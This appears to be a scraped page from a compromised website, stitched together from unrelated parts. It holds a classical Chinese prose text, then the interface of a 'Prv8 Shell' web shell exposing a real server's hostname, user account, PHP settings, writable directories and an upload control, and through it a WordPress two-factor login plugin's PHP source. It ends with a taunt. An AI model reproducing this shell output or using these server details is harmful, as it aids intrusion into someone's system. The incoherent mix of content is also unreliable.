晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/digits/includes/forms/handler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/digits/includes/forms/handler/user.php
<?php

namespace DigitsUserFormHandler;


use DigitsFormHandler\Handler;
use DigitsSettingsHandler\UserAccountInfo;
use WP_User;

if (!defined('ABSPATH')) {
    exit;
}

UserSettingsHandler::instance();

final class UserSettingsHandler
{
    const user_fa_key = "digits_enable_%sfa";

    protected static $_instance = null;

    private static $user_methods = [];
    private $user_default_methods = [];

    public function __construct()
    {

    }

    /**
     *  Constructor.
     */
    public static function instance()
    {
        if (is_null(self::$_instance)) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }

    public function get_default_config($user_id)
    {
        if (!empty($this->user_default_methods[$user_id])) {
            return $this->user_default_methods[$user_id];
        }

        $user_flow = digits_admin_get_user_flow();
        $user_flow = apply_filters('digits_user_login_flow', $user_flow, $user_id);

        $this->user_default_methods[$user_id] = $user_flow;

        return $user_flow;
    }

    public function get_all_available_methods($user_id, $step_no)
    {
        $config = $this->get_default_config($user_id);

        $method_config = $config[$step_no . 'fa'];

        $methods = $method_config['methods'];

        $methods = apply_filters('digits_user_login_methods', $methods, $user_id, $step_no);
        if (!empty($methods)) {
            $digits_enable_security_devices = dig_securityKeysEnabled();
            foreach ($methods as $method_index => $method) {
                if ($method == 'whatsapp_otp') {
                    if (!dig_isWhatsAppEnabled()) {
                        unset($methods[$method_index]);
                    }
                }
                if (in_array($method, self::platform_methods())) {
                    if ($digits_enable_security_devices == 0) {
                        unset($methods[$method_index]);
                    }
                }

            }

        }

        if (empty($methods)) {
            if ($step_no == 1) {
                return ['password', 'sms_otp'];
            }
            return [];
        }


        return $methods;
    }

    public static function get_fa_meta_key($step_no)
    {
        return sprintf(self::user_fa_key, $step_no);
    }

    public static function isUser2FaEnabled($user_id)
    {
        return self::isUserFaEnabled($user_id, 2);
    }

    public static function isUser3FaEnabled($user_id)
    {
        return self::isUserFaEnabled($user_id, 3);
    }

    public static function isUserFaEnabled($user_id, $step_no)
    {
        if ($step_no == 1) {
            return true;
        }
        $auth_config = self::getUserFaConfig($user_id, $step_no);
        return !empty($auth_config);
    }

    public static function updateUserFaPreferredMethods($user_id, $step_no, $methods)
    {
        $update = update_user_meta($user_id, self::get_fa_meta_key($step_no), $methods);
        return $update;
    }

    public static function getUserFaPreferredMethods($user_id, $step_no)
    {
        $available_methods = self::instance()->get_all_available_methods($user_id, $step_no);
        if ($step_no == 1) {
            return $available_methods;
        }
        $auth_config = self::getUserFaConfig($user_id, $step_no);

        if (empty($auth_config)) {
            return [];
        }

        $methods = array_intersect($available_methods, $auth_config);
        return $methods;
    }

    public static function removeUserFaMethod($user_id, $step_no)
    {
        $delete = delete_user_meta($user_id, self::get_fa_meta_key($step_no));
        return $delete;
    }

    public static function getUserFaConfig($user_id, $step_no)
    {
        return get_user_meta($user_id, self::get_fa_meta_key($step_no), true);
    }

    public static function platform_methods()
    {
        return array('platform', 'cross-platform', 'platform-all');
    }

    public static function get_user_platform_method($user, $step_no)
    {
        $user_methods = self::get_user_methods($user, $step_no);
        $method = array_intersect($user_methods, self::platform_methods());
        return $method;
    }

    /**
     * @param WP_User $user
     * @param $step_no
     * @return string[]
     */
    public static function get_user_methods($user, $step_no, $remove_firebase = true)
    {
        if ($user instanceof WP_User) {
            $user_id = $user->ID;
        } else {
            $user_id = $user;
        }

        if (!empty(self::$user_methods[$user_id][$step_no])) {
            return self::$user_methods[$user_id][$step_no];
        }

        $user_email = $user->user_email;

        $methods = UserSettingsHandler::getUserFaPreferredMethods($user_id, $step_no);

        $platform_methods = array('platform', 'cross-platform');
        if (in_array('platform', $methods) && in_array('cross-platform', $methods)) {
            $methods = array_diff($methods, $platform_methods);
            $methods[] = 'platform-all';
        }

        $user_phone = digits_get_mobile_country_code($user_id);

        foreach ($methods as $method_index => $method) {

            if ($method == '2fa_app') {
                $totp = UserAccountInfo::instance()->get_user_totp($user_id, false);
                if (empty($totp)) {
                    unset($methods[$method_index]);
                }
            }

            if ($method == 'email_otp' && empty($user_email)) {
                unset($methods[$method_index]);
            }

            if (in_array($method, ['sms_otp', 'whatsapp_otp'])) {
                if (empty($user_phone)) {
                    unset($methods[$method_index]);
                } else if ($method == 'sms_otp') {
                    $country_code = $user_phone['country_code'];
                    $digit_gateway = dig_gatewayToUse($country_code);
                    if ($digit_gateway == 13) {
                        $phone = $country_code . $user_phone['phone'];
                        $user_request_data = Handler::instance()->get_user_request();
                        if (!in_array($phone, $user_request_data)) {
                            unset($methods[$method_index]);
                        }
                    }
                }
            }

            if (in_array($method, array('cross-platform', 'platform', 'platform-all'), true)) {
                $devices = \DigitsDeviceAuth::instance()->getUserSecurityDevicesType($user_id, $method);
                if (empty($devices)) {
                    unset($methods[$method_index]);
                }
            }

        }

        $methods = self::filter_methods($methods);

        self::$user_methods[$user_id][$step_no] = $methods;
        return $methods;
    }

    public static function filter_methods($methods)
    {
        $all_methods = [
            'password',
            'cross-platform', 'platform', 'platform-all',
            'sms_otp', 'whatsapp_otp', 'email_otp', '2fa_app',
        ];
        return array_intersect($all_methods, $methods);
    }
}

haha - 2025